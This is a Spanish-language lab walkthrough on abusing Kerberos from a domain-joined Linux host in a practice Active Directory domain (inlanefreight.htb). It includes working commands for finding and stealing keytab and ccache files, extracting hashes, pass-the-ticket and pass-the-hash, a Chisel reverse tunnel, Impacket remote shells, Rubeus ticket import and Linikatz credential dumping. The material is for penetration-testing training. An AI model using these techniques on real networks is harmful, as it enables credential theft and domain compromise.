  domain-name: inlanefreight.htb
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: %U@inlanefreight.htb
  login-policy: allow-permitted-logins
  permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
  permitted-groups: Linux Admins

La salida del comando indica que la máquina está configurada como miembro de Kerberos. También nos da información sobre el nombre de dominio (inlanefreight.htb) y qué usuarios y grupos tienen permiso para iniciar sesión, que en este caso son los usuarios David y Julio y el grupo Linux Admins.

PS - Check if Linux Machine is Domain Joined

david@inlanefreight.htb@linux01:~$ ps -ef | grep -i "winbind\|sssd"

root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

Finding Kerberos Tickets in Linux

Como atacante, siempre estamos buscando credenciales. En máquinas Linux unidas a un dominio, queremos encontrar tickets Kerberos para obtener más acceso. Los tickets Kerberos se pueden encontrar en diferentes lugares dependiendo de la implementación de Linux o de que el administrador cambie la configuración por defecto. Exploremos algunas formas comunes de encontrar tickets Kerberos.

Finding Keytab Files

Using Find to Search for Files with Keytab in the Name

Un método sencillo es utilizar find para buscar archivos cuyo nombre contenga la palabra keytab. Cuando un administrador comúnmente crea un ticket Kerberos para ser usado con un script, establece la extensión a .keytab. Aunque no es obligatorio, es una forma en la que los administradores suelen referirse a un archivo keytab.

david@inlanefreight.htb@linux01:~$ find / -name *keytab* -ls 2>/dev/null

<SNIP>

   131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab
   262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

Nota: Para utilizar un archivo keytab, debemos tener privilegios de lectura y escritura (rw) en el archivo.

Identifying Keytab Files in Cronjobs

Otra forma de encontrar archivos keytab es en scripts automatizados configurados mediante un cronjob o cualquier otro servicio Linux. Si un administrador necesita ejecutar un script para interactuar con un servicio de Windows que utiliza Kerberos, y si el fichero keytab no tiene la extensión .keytab, podemos encontrar el nombre de fichero apropiado dentro del script. Veamos este ejemplo:

carlos@inlanefreight.htb@linux01:~$ crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash

kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txt

En este ejemplo, encontramos un script que importa un ticket Kerberos (svc_workstations.kt) para el usuario svc_workstations@INLANEFREIGHT.HTB antes de intentar conectarse a una carpeta compartida. Más adelante veremos cómo utilizar esos tickets y suplantar usuarios.

Nota: Como hemos comentado en la sección Pasar el ticket desde Windows, una cuenta de equipo necesita un ticket para interactuar con el entorno de Active Directory. Del mismo modo, una máquina unida a un dominio Linux necesita un ticket.

El ticket se representa como un archivo keytab ubicado por defecto en /etc/krb5.keytab y sólo puede ser leído por el usuario root. Si obtenemos acceso a este ticket, podemos suplantar la cuenta de equipo LINUX01$.INLANEFREIGHT.HTB

Finding ccache Files

Reviewing Environment Variables for ccache Files

Busquemos las variables de entorno e identifiquemos la ubicación de nuestra caché de credenciales Kerberos:

david@inlanefreight.htb@linux01:~$ env | grep -i krb5

KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfh

Searching for ccache Files in /tmp

Como se mencionó anteriormente, los archivos ccache se encuentran, por defecto, en /tmp. Podemos buscar usuarios que hayan iniciado sesión en el ordenador, y si conseguimos acceso como root o un usuario con privilegios, seríamos capaces de suplantar a un usuario utilizando su archivo ccache mientras aún sea válido.

david@inlanefreight.htb@linux01:~$ ls -la /tmp

total 68
drwxrwxrwt 13 root                     root                           4096 Oct  6 16:38 .
drwxr-xr-x 20 root                     root                           4096 Oct  6  2021 ..
-rw-------  1 julio@inlanefreight.htb  domain users@inlanefreight.htb 1406 Oct  6 16:38 krb5cc_647401106_tBswau
-rw-------  1 david@inlanefreight.htb  domain users@inlanefreight.htb 1406 Oct  6 15:23 krb5cc_647401107_Gf415d
-rw-------  1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct  6 15:43 krb5cc_647402606_qd2Pfh

Abusing KeyTab Files

Como atacantes, podemos darle varios usos a un archivo keytab. Lo primero que podemos hacer es suplantar a un usuario utilizando kinit. Para utilizar un archivo keytab, necesitamos saber para qué usuario fue creado.

Listing keytab File Information

klist es otra aplicación utilizada para interactuar con Kerberos en Linux. Esta aplicación lee información de un fichero keytab. Veámoslo con el siguiente comando:

david@inlanefreight.htb@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab 

Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB

Nota: kinit distingue entre mayúsculas y minúsculas, así que asegúrate de utilizar el nombre del principal tal y como se muestra en klist. En este caso, el nombre de usuario está en minúsculas y el nombre de dominio en mayúsculas.

El ticket corresponde al usuario Carlos. Ya podemos suplantar al usuario con kinit.

Impersonating a User with a keytab

Confirmemos qué ticket estamos usando con klist y luego importemos el ticket de Carlos a nuestra sesión con kinit.

david@inlanefreight.htb@linux01:~$ klist 

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:02:11
david@inlanefreight.htb@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
david@inlanefreight.htb@linux01:~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:16:11

Connecting to SMB Share as Carlos

Podemos intentar acceder a la carpeta compartida \\dc01\\carlos para confirmar nuestro acceso.

david@inlanefreight.htb@linux01:~$ smbclient //dc01/carlos -k -c ls

  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022

                7706623 blocks of size 4096. 4452852 blocks available

Nota: Para conservar el ticket de la sesión actual, antes de importar el keytab, guarde una copia del archivo ccache presente en la variable de entorno KRB5CCNAME.

Keytab Extract

El segundo método que utilizaremos para abusar de Kerberos en Linux es extraer los secretos de un archivo keytab. Pudimos hacernos pasar por Carlos usando los tickets de la cuenta para leer una carpeta compartida en el dominio, pero si queremos acceder a su cuenta en la máquina Linux, necesitaremos su contraseña.

Extracting Keytab Hashes with KeyTabExtract

david@inlanefreight.htb@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

Con el hash NTLM, podemos realizar un ataque Pass the Hash. Con el hash AES256 o AES128, podemos falsificar nuestros tickets usando Rubeus o intentar crackear los hashes para obtener la contraseña en texto plano.

Nota: Un archivo keytab puede contener diferentes tipos de hashes y puede fusionarse para contener múltiples credenciales incluso de diferentes usuarios.

Como podemos ver en la imagen, la contraseña para el usuario Carlos es Password5. Ahora podemos iniciar sesión como Carlos.

david@inlanefreight.htb@linux01:~$ su - carlos@inlanefreight.htb

Password: 
carlos@inlanefreight.htb@linux01:~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: carlos@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 11:01:13  10/07/2022 21:01:13  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/08/2022 11:01:13

Obtaining More Hashes

Carlos tiene un cronjob que utiliza un archivo keytab llamado svc_workstations.kt. Podemos repetir el proceso, descifrar la contraseña e iniciar sesión como svc_workstations.

Abusing Keytab ccache

Para abusar de un archivo ccache, todo lo que necesitamos son privilegios de lectura sobre el archivo. Estos archivos, ubicados en /tmp, sólo pueden ser leídos por el usuario que los creó, pero si obtenemos acceso de root, podríamos utilizarlos.

Privilege Escalation to Root

Una vez que nos logueamos con las credenciales del usuario svc_workstations, podemos usar sudo -l y confirmar que el usuario puede ejecutar cualquier comando como root. Podemos usar el comando sudo su para cambiar el usuario a root.

gzzcoo@htb[/htb]$ ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
                  
svc_workstations@inlanefreight.htb@10.129.204.23's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)          
...SNIP...

svc_workstations@inlanefreight.htb@linux01:~$ sudo -l
[sudo] password for svc_workstations@inlanefreight.htb: 
Matching Defaults entries for svc_workstations@inlanefreight.htb on linux01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User svc_workstations@inlanefreight.htb may run the following commands on linux01:
    (ALL) ALL
svc_workstations@inlanefreight.htb@linux01:~$ sudo su
root@linux01:/home/svc_workstations@inlanefreight.htb# whoami
root

Looking for ccache Files

Como root, necesitamos identificar qué tickets están presentes en la máquina, a quién pertenecen y su tiempo de caducidad.

root@linux01:~# ls -la /tmp

total 76
drwxrwxrwt 13 root                               root                           4096 Oct  7 11:35 .
drwxr-xr-x 20 root                               root                           4096 Oct  6  2021 ..
-rw-------  1 julio@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 11:35 krb5cc_647401106_HRJDux
-rw-------  1 julio@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 11:35 krb5cc_647401106_qMKxc6
-rw-------  1 david@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 10:43 krb5cc_647401107_O0oUWh
-rw-------  1 svc_workstations@inlanefreight.htb domain users@inlanefreight.htb 1535 Oct  7 11:21 krb5cc_647401109_D7gVZF
-rw-------  1 carlos@inlanefreight.htb           domain users@inlanefreight.htb 3175 Oct  7 11:35 krb5cc_647402606
-rw-------  1 carlos@inlanefreight.htb           domain users@inlanefreight.htb 1433 Oct  7 11:01 krb5cc_647402606_ZX6KFA

Identifying Group Membership with the id Command

root@linux01:~# id julio@inlanefreight.htb

uid=647401106(julio@inlanefreight.htb) gid=647400513(domain users@inlanefreight.htb) groups=647400513(domain users@inlanefreight.htb),647400512(domain admins@inlanefreight.htb),647400572(denied rodc password replication group@inlanefreight.htb)

Julio es miembro del grupo Domain Admins. Podemos intentar suplantar al usuario y obtener acceso al host Controlador de dominio DC01.

Importing the ccache File into our Current Session

Para utilizar un archivo ccache, podemos copiar el archivo ccache y asignar la ruta del archivo a la variable KRB5CCNAME.

root@linux01:~# klist

klist: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 13:25:01  10/07/2022 23:25:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
  $Recycle.Bin                      DHS        0  Wed Oct  6 17:31:14 2021
  Config.Msi                        DHS        0  Wed Oct  6 14:26:27 2021
  Documents and Settings          DHSrn        0  Wed Oct  6 20:38:04 2021
  john                                D        0  Mon Jul 18 13:19:50 2022
  julio                               D        0  Mon Jul 18 13:54:02 2022
  pagefile.sys                      AHS 738197504  Thu Oct  6 21:32:44 2022
  PerfLogs                            D        0  Fri Feb 25 16:20:48 2022
  Program Files                      DR        0  Wed Oct  6 20:50:50 2021
  Program Files (x86)                 D        0  Mon Jul 18 16:00:35 2022
  ProgramData                       DHn        0  Fri Aug 19 12:18:42 2022
  SharedFolder                        D        0  Thu Oct  6 14:46:20 2022
  System Volume Information         DHS        0  Wed Jul 13 19:01:52 2022
  tools                               D        0  Thu Sep 22 18:19:04 2022
  Users                              DR        0  Thu Oct  6 11:46:05 2022
  Windows                             D        0  Wed Oct  5 13:20:00 2022

                7706623 blocks of size 4096. 4447612 blocks available

Nota: klist muestra la información del ticket. Debemos tener en cuenta los valores «valid starting» y «expires». Si la fecha de caducidad ha pasado, el ticket no funcionará. Los archivos ccache son temporales. Pueden cambiar o caducar si el usuario ya no los utiliza o durante las operaciones de inicio y cierre de sesión.

Using Linux Attack Tools with Kerberos

La mayoría de las herramientas de ataque en Linux que interactúan con entornos Windows y Active Directory soportan autenticación Kerberos. Si las usamos desde una máquina unida al dominio, debemos asegurarnos de que la variable de entorno KRB5CCNAME esté apuntando al archivo ccache que queremos usar.

En caso de que estemos atacando desde una máquina que no es miembro del dominio, como nuestro equipo de ataque, debemos asegurarnos de que dicha máquina pueda contactar con el KDC o Domain Controller, y que la resolución de nombres del dominio funcione correctamente.

En este escenario, nuestra máquina atacante no tiene conexión directa con el KDC/Domain Controller, y no puede usarlo para resolver nombres. Para poder usar Kerberos, necesitamos redirigir el tráfico a través de MS01 usando herramientas como Chisel y Proxychains, y además editar el archivo /etc/hosts para establecer manualmente las direcciones IP del dominio y de las máquinas que queremos atacar.

Host File Modified

gzzcoo@htb[/htb]$ cat /etc/hosts

# Host addresses

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01

Proxychains Configuration File

Tenemos que modificar nuestro archivo de configuración proxychains para utilizar socks5 y el puerto 1080.

gzzcoo@htb[/htb]$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
socks5 127.0.0.1 1080

Download Chisel to our Attack Host

gzzcoo@htb[/htb]$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ gzip -d chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ mv chisel_* chisel && chmod +x ./chisel
gzzcoo@htb[/htb]$ sudo ./chisel server --reverse 

2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080

Connect to MS01 with xfreerdp

gzzcoo@htb[/htb]$ xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution

Execute chisel from MS01

C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks

2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)

Nota: La IP del cliente es la IP de su host de ataque.

Setting the KRB5CCNAME Environment Variable

Finalmente, necesitamos transferir el archivo ccache de Julio desde LINUX01 y crear la variable de entorno KRB5CCNAME con el valor correspondiente a la ruta del archivo ccache.

Esto permitirá que las herramientas que utilicen autenticación Kerberos en nuestra máquina atacante usen el ticket de Julio para autenticarse como él dentro del dominio.

gzzcoo@htb[/htb]$ export KRB5CCNAME=$(pwd)/krb5cc_647401106_I8I133

Impacket

Para usar el ticket Kerberos, debemos especificar el nombre de la máquina objetivo (no su dirección IP) y usar la opción -k.

Si al conectarnos se nos solicita una contraseña, también podemos añadir la opción -no-pass para evitar que la herramienta intente pedir credenciales.

Esto forzará el uso del ticket Kerberos almacenado, sin requerir interacción adicional.

Using Impacket with proxychains and Kerberos Authentication

gzzcoo@htb[/htb]$ proxychains impacket-wmiexec dc01 -k

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:50713  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio

Nota: Si estás usando herramientas de Impacket desde una máquina Linux conectada al dominio, ten en cuenta que algunas implementaciones de Active Directory en Linux utilizan el prefijo FILE: en la variable KRB5CCNAME.

Si este es el caso, debemos modificar la variable para que solo contenga la ruta al archivo ccache, sin el prefijo FILE:. Esto es necesario para que las herramientas de Impacket puedan interpretar correctamente la ubicación del ticket.

Evil-WinRM

La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.

Sincronizar la hora de la máquina local con la del Domain Controller.
Disponer de un TGT (Ticket Granting Ticket)
Exportar el TGT en la variable KRB5CCNAME
Disponer de la instalación de krb5-user y krb5-config en el equipo local
Configurar adecuadamente el archivo /etc/krb5.conf con la configuración necesaria del dominio

El comando para conectarnos mediante el TGT obtenido es el siguiente:

evil-winrm -i dc.dominio.htb -r dominio.htb

Para configurar paso a paso esta autenticación al WinRM mediante Kerberos, realizaremos los siguientes pasos:

Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).

Instalaremos el paquete de ntpdate para ayudarnos a sincronizar la hora de nuestro reloj.

sudo apt install ntpdate -y

Una vez instalado, sincronizaremos nuestra hora con la del DC.

sudo ntpdate -s 10.10.10.10

Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.

A través de la herramienta de impacket-getTGT obtendremos un TGT válido para nuestro usuario.

Usuario/contraseña

impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10

Pass-The-Hash (PtH)

impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10

Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache.

Una vez obtenido el TGT (.ccache), deberemos de exportar este tiquet en la variable KRB5CCNAME para poder utilizarlo correctamente.

export KRB5CCNAME=$(pwd)/user.ccache

Instalaremos el paquete de krb5-user a través del siguiente comando:

sudo apt install krb5-user

Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME funcione correctamente. Nos deberá aparecer nuestro TGT.

klist

Instalaremos el paquete necesario para el /etc/krb5.conf a través del siguiente comando:

sudo apt install krb5-config -y

Una vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf para que se adapte al dominio correspondiente.

sudo nano /etc/krb5.conf

A continuación, dejaremos un archivo /etc/krb5.conf de ejemplo.

/etc/krb5.conf

[libdefaults]
    default_realm = DOMINIO.HTB
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false

[realms]
    HAZE.HTB = {
        kdc = 10.10.10.10
        admin_server = 10.10.10.10
    }

[domain_realm]
    .dominio.htb = DOMINIO.HTB
    dominio.htb = DOMINIO.HTB

Miscellaneous

Si queremos usar un archivo ccache en Windows o un archivo .kirbi en una máquina Linux, podemos usar la herramienta impacket-ticketConverter para convertirlos.

Para utilizarla, simplemente indicamos el archivo que queremos convertir y el nombre del archivo de salida. Por ejemplo, para convertir el archivo ccache de Julio a formato .kirbi:

Impacket Ticket Converter

gzzcoo@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

También podemos hacer la operación inversa, convirtiendo un archivo .kirbi a .ccache para usarlo en Linux.

Importing Converted Ticket into Windows Session with Rubeus

C:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.2


[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\htb> klist

Current LogonId is 0:0x31adf02

Cached Tickets: (1)

#0>     Client: julio @ INLANEFREIGHT.HTB
        Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0xa1c20000 -> reserved forwarded invalid renewable initial 0x20000
        Start Time: 10/10/2022 5:46:02 (local)
        End Time:   10/10/2022 15:46:02 (local)
        Renew Time: 10/11/2022 5:46:02 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

C:\htb>dir \\dc01\julio
 Volume in drive \\dc01\julio has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\dc01\julio

07/14/2022  07:25 AM    <DIR>          .
07/14/2022  07:25 AM    <DIR>          ..
07/14/2022  04:18 PM                17 julio.txt
               1 File(s)             17 bytes
               2 Dir(s)  18,161,782,784 bytes free

Linikatz

Linikatz es una herramienta creada por el equipo de seguridad de Cisco para la extracción de credenciales en máquinas Linux integradas en Active Directory. En otras palabras, lleva el mismo concepto de Mimikatz al entorno UNIX.

Al igual que Mimikatz, para aprovechar Linikatz necesitamos tener acceso root en la máquina. Esta herramienta extrae todas las credenciales, incluidos tickets Kerberos, desde distintas implementaciones como FreeIPA, SSSD, Samba, Vintella, entre otras. Una vez extraídas, las guarda en una carpeta cuyo nombre comienza con linikatz.

Dentro de esa carpeta encontraremos las credenciales en varios formatos útiles como .ccache y .keytab, que luego podemos reutilizar según sea necesario (como se explicó anteriormente).

gzzcoo@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
gzzcoo@htb[/htb]$ /opt/linikatz.sh
 _ _       _ _         _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_  /
| | | | | | |   < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|

             =[ @timb_machine ]=

I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct  6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct  4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct  7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct  4 16:26 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: LINUX01$@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:48:03  10/11/2022 05:48:03  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:48:03, Flags: RIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 11:32:01  10/07/2022 21:32:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/08/2022 11:32:01, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: svc_workstations@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [check] KCM Kerberos tickets

Al ejecutarlo, Linikatz detecta las configuraciones de distintos servicios relacionados con AD (como FreeIPA, SSSD, Samba, Kerberos, etc.) y extrae los archivos relevantes: bases de datos de caché, archivos .ccache, .keytab, configuraciones y más.

En el ejemplo mostrado:

Se detectan múltiples tickets Kerberos en /tmp, incluyendo de usuarios como julio@inlanefreight.htb y svc_workstations@inlanefreight.htb.
También se identifican archivos de configuración como /etc/krb5.conf y /etc/sssd/sssd.conf.
El sistema está utilizando SSSD y se observan archivos .ldb y .ccache dentro de /var/lib/sss/db/.